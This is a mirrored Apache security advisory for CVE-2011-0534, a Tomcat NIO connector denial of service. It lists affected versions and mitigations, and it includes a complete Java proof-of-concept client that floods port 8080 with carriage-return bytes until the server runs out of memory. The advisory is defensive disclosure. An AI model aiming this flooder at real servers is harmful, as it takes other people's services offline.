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securityvulnsSecurityvulnsSECURITYVULNS:DOC:25623
HistoryFeb 08, 2011 - 12:00 a.m.

[SECURITY] CVE-2011-0534 Apache Tomcat DoS vulnerability

2011-02-0800:00:00
vulners.com
73

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CVE-2011-0534 Apache Tomcat DoS vulnerability

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:

    • Tomcat 7.0.0 to 7.0.6
    • Tomcat 6.0.0 to 6.0.30

Description:
Tomcat did not enforce the maxHttpHeaderSize limit while parsing the
request line in the NIO HTTP connector. A specially crafted request
could trigger an DoS via an OutOfMemoryError.

Example (AL2 licensed):
package bug50631;

import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketAddress;

public class FloodClient1 {
static final int k_step = 10;
static byte[] value = new byte[k_step * 1024];

public static void main(String[] args) throws Exception {
    int i = 0;
    while (i < value.length) {
        value[i++] = 13;
    }
    SocketAddress addr = new InetSocketAddress("localhost", 8080);
    Socket socket = new Socket();
    socket.setSoTimeout(0);
    socket.connect(addr, 0);
    OutputStream os = socket.getOutputStream();
    // InputStream is = socket.getInputStream();

    int k = k_step;
    int m = 0;
    int k100 = 100;
    while (m < 2000) {
        if (k >= k100) {
            k100 += 100;
            System.out.print('.');
            System.out.flush();
        }
        if (k >= 1024) {
            m++;
            k -= 1024;
            k100 = 100;
            System.out.println(" " + m + " Mb");
        }
        os.write(value);
        os.flush();
        Thread.sleep(1);
        k+=k_step;
    }
}

}

Mitigation:
Users of affected versions should apply one of the following mitigations

    • Upgrade to a Tomcat version where this issue is fixed
    • Use a BIO or AJP HTTP connector in place of an NIO HTTP connector

Credit:
The issue was identified by the Tomcat security team.

References:
https://issues.apache.org/bugzilla/show_bug.cgi?id=50631
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
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